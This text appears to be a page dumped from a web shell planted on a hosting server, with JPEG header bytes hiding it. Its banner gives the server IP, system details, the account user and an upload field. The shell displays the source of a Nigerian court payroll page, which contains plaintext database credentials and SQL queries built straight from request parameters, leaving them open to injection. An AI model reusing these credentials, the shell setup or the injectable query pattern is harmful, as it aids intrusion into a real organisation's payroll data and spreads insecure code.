ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.224.64.28 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/consolidated/ |
Upload File : |
<?php session_start(); require_once('business logic/classes/users.php'); $con = mysqli_connect("localhost","sanfas93_payroll","_nicn.payroll","sanfas93_payroll"); ?> <?php //$getSignatory1 = mysqli_query($con, 'select * from tblsignatory where category = 1 order by rank'); //$getSignatory2 = mysqli_query($con, 'select * from tblsignatory where category = 2 '); //$getSignatory3 = mysqli_query($con, 'select * from tblsignatory where category = 3 '); ?> <?php $month = $_GET['month']; $year = $_GET['year']; $getSignatory = mysqli_query($con, "select * from tblsignatory" ); //$getSignatory2 = mysqli_query($con, "select * from signatory where month = '$month' and year = '$year' and sequence =2" ); //$getSignatory3 = mysqli_query($con, "select * from signatory where month = '$month' and year = '$year' and sequence =3" ); $numcount = mysqli_query($con, "select * from signatory where month = '$month' and year = '$year'" ); $count = mysqli_num_rows($numcount); if($count > 1) { $s1 = mysqli_query($con, "select * from signatory where month = '$month' and year = '$year' and sequence =1" ); $signatory1 = mysqli_fetch_assoc($s1); $s2 = mysqli_query($con, "select * from signatory where month = '$month' and year = '$year' and sequence =2" ); $signatory2 = mysqli_fetch_assoc($s2); $s3 = mysqli_query($con, "select * from signatory where month = '$month' and year = '$year' and sequence =3" ); $signatory3 = mysqli_fetch_assoc($s3); } if(isset($_POST['action'])) { $phone1 = $_POST['phone1']; $sig1 = $_POST['signatory1']; $phone2 = $_POST['phone2']; $sig2 = $_POST['signatory2']; $phone3 = $_POST['phone3']; $sig3 = $_POST['signatory3']; //$month = trim($_POST['month']); //$year = trim($_POST['year']); $name1 = $_POST['name1']; $name2 = $_POST['name2']; $name3 = $_POST['name3']; $date = date('Y-m-d'); $month = $_GET['month']; $year = $_GET['year']; $sign1 = "update signatory set name='$name1',phone='$phone1',month='$month',year='$year',sequence =1,created_at = '$date' where signatoryId = '$sig1' and month = '$month' and year = '$year'"; $sign2 = "update signatory set name='$name2',phone='$phone2',month='$month',year='$year',sequence =2,created_at = '$date' where signatoryId = '$sig2' "; $sign3 = "update signatory set name='$name3',phone='$phone3',month='$month',year='$year',sequence =3,created_at = '$date' where signatoryId = '$sig3' and month = '$month' and year = '$year'"; if ($con->query($sign1) === TRUE && $con->query($sign2) === TRUE && $con->query($sign3) === TRUE) { $message = '<div class="success">Successfully Updated</div>'; } else { $message = '<div class="success">Error Updating Signatories</div>'; } } ?> <?php //require_once('business login/classes/.php'); $user = new User(); $uid = $_SESSION['uid']; $access = $_SESSION['acc']; // if($access > 2) header("location:delay.php"); if (!$user->get_session()) { header("location:myown_mainpage.php?you are not login"); } // if (isset($_GET['q']) and $_GET['q'] == 'logout') { $user->user_logout(); header("location:myown_mainpage.php? you are log out"); } // ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut icon" href="images/favicon.ico"> <title>National Industrial Court of Nigeria...::...Classification Code</title> <link href="css/payroll.css" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="js/jQuery-2.2.0.min.js"></script> <script type="text/javascript"> $( function() { $("#signatory1").on('change', function(){ var id = $(this).val(); //alert(id); //$token = $("input[name='_token']").val(); $.ajax({ // headers: {'X-CSRF-TOKEN': $token}, url: 'getSignatoryAjax.php', type: "post", dataType: "json", data: {'signid': id}, success: function(datas){ console.log(datas[0].phoneno); //alert(datas.phoneno); $('#phone1').val(datas[0].phoneno); $('#name1').val(datas[0].fullname); } }); }); $("#signatory2").on('change', function(){ var id = $(this).val(); //alert(id); //$token = $("input[name='_token']").val(); $.ajax({ //headers: {'X-CSRF-TOKEN': $token}, url: 'getSignatoryAjax.php', type: "post", dataType: "json", data: {'signid': id}, success: function(datas){ console.log(datas[0].phoneno); //alert(datas.phoneno); $('#phone2').val(datas[0].phoneno); $('#name2').val(datas[0].fullname); } }); }); $("#signatory3").on('change', function(){ var id = $(this).val(); //alert(id); //$token = $("input[name='_token']").val(); $.ajax({ // headers: {'X-CSRF-TOKEN': $token}, url: 'getSignatoryAjax.php', type: "post", dataType: "json", data: {'signid': id}, success: function(datas){ console.log(datas[0].phoneno); //alert(datas.phoneno); $('#phone3').val(datas[0].phoneno); $('#name3').val(datas[0].fullname); } }); }); }); </script> <style type="text/css"> <!-- .style25 { font-family: Verdana, Arial, Helvetica, sans-serif; color: #FF0000; } a:link { text-decoration: none; } a:visited { text-decoration: none; } a:hover { text-decoration: underline; } a:active { text-decoration: none; } .inputs { background-color: #ffffff; margin: 2px; padding: 2px; border: 1px solid #FF8A00; color:#000; } --> select { color:#000; } </style> <script language="javascript" type="text/javascript"> function submitregistration() { var form = document.login; if(form.name.value == "") { alert( "Enter Bank Name" ); return false; } else if(form.branch.value == "") { alert( "Enter Bank Branch" ); return false; } else if( form.sort_code.value == "") { alert( "Enter Sort Code " ); return false; } else if( form.rank.value == "") { alert( "Enter rank " ); return false; } else if( form.bank.value == "") { alert( "Select Bank " ); return false; } else if( form.division.value == "") { alert( "Select Division " ); return false; } else if( form.year.value == "") { alert( "Enter Year " ); return false; } } </script> <script language="javascript" src="js/cal2.js"> /* Xin's Popup calendar script- Xin Yang (http://www.yxscripts.com/) Script featured on/available at http://www.dynamicdrive.com/ This notice must stay intact for use */ </script> <script language="javascript" src="js/cal_conf2.js"></script> </head> <body onLoad="document.login.name.focus()"> <table width="744" border="0" cellpadding="0" cellspacing="0" class="container" align="center" > <!--DWLayoutTable--> <tr> <td width="800" height="42" colspan="2" valign="top"><?php require_once('header.php');?></td> </tr> <tr> <td height="19" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0" class="bottomborder"> <!--DWLayoutTable--> <tr> <td width="33%"> <a href="userArea.php">Home</a> </td> <td width="67%"><?php //$user->getLink($access); $user->get_fullname($uid); ?><a href="?q=logout">Logout</a> </td> </tr> </table></td> </tr> <tr> <td height="243" valign="top"><?php require('links.php');?> <br /></td> <td valign="top"><table width="310" border="0" align="left" cellpadding="0" cellspacing="0"> <tr> <td width="310" colspan="3"><br /> <fieldset> <legend>Consolidated Payroll Report<br /> </legend> <div> <?php echo $message; ?></div> <form method="post" action=""> <table width="100%"> <tr> <td> <label for="year">Signatory 2</label> <select name="signatory1" id="signatory1" required="true" class="form-control" > <option value="">Select</option> <?php foreach($getSignatory as $list) { if($list['fullname'] == $signatory1['name']) { echo '<option value="'.$list['signatoryID'].'" selected="selected">'.$list['fullname'].'</option>'; } else { echo '<option value="'.$list['signatoryID'].'">'.$list['name'].'</option>'; } } ?> </select> </td> <td> <label for="month">Phone</label> <input type="text" name="phone1" id="phone1" class="form-control" value="<?php echo $signatory1['phone']; ?>"> <input type="hidden" name="name1" id="name1" class="form-control" value="<?php echo $signatory1['name']; ?>"> </td> </tr> <tr> <td> <label for="year">Signatory 2</label> <select name="signatory2" id="signatory2" class="form-control"> <option value="">Select</option> <?php foreach($getSignatory as $list) { if($list['fullname'] == $signatory2['name']) { echo '<option value="'.$list['signatoryID'].'" selected="selected">'.$list['fullname'].'</option>'; } else { echo '<option value="'.$list['signatoryID'].'">'.$list['fullname'].'</option>'; } } ?> </select> </td> <td> <label for="bank">Phone</label> <input type="text" name="phone2" id="phone2" class="form-control" value="<?php echo $signatory2['phone']; ?>"> <input type="hidden" name="name2" id="name2" class="form-control" value="<?php echo $signatory2['name']; ?>"> </td> </tr> <tr> <td> <label for="year">Signatory 3</label> <select name="signatory3" id="signatory3" class="form-control"> <option value="">Select</option> <?php foreach($getSignatory as $list) { if($list['fullname'] == $signatory3['name']) { echo '<option value="'.$list['signatoryID'].'" selected="selected">'.$list['fullname'].'</option>'; } else { echo '<option value="'.$list['signatoryID'].'">'.$list['fullname'].'</option>'; } } ?> </select> </td> <td> <label for="bank">Phone</label> <input type="text" name="phone3" id="phone2" class="form-control" value="<?php echo $signatory3['phone']; ?>"> <input type="hidden" name="name3" id="name2" class="form-control" value="<?php echo $signatory3['name']; ?>"> </td> </tr> <tr> <td><button name="action" id="action" class="btn btn-success" type="submit">UPDATE</button></td> <td> </td> </tr> </table> </form> </fieldset></td> </tr> </table></td> </tr> <tr> <td height="20" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0"> <!--DWLayoutTable--> <tr> <td> </td> </tr> </table></td> </tr> </table> </body> </html> <?php $user->close();?>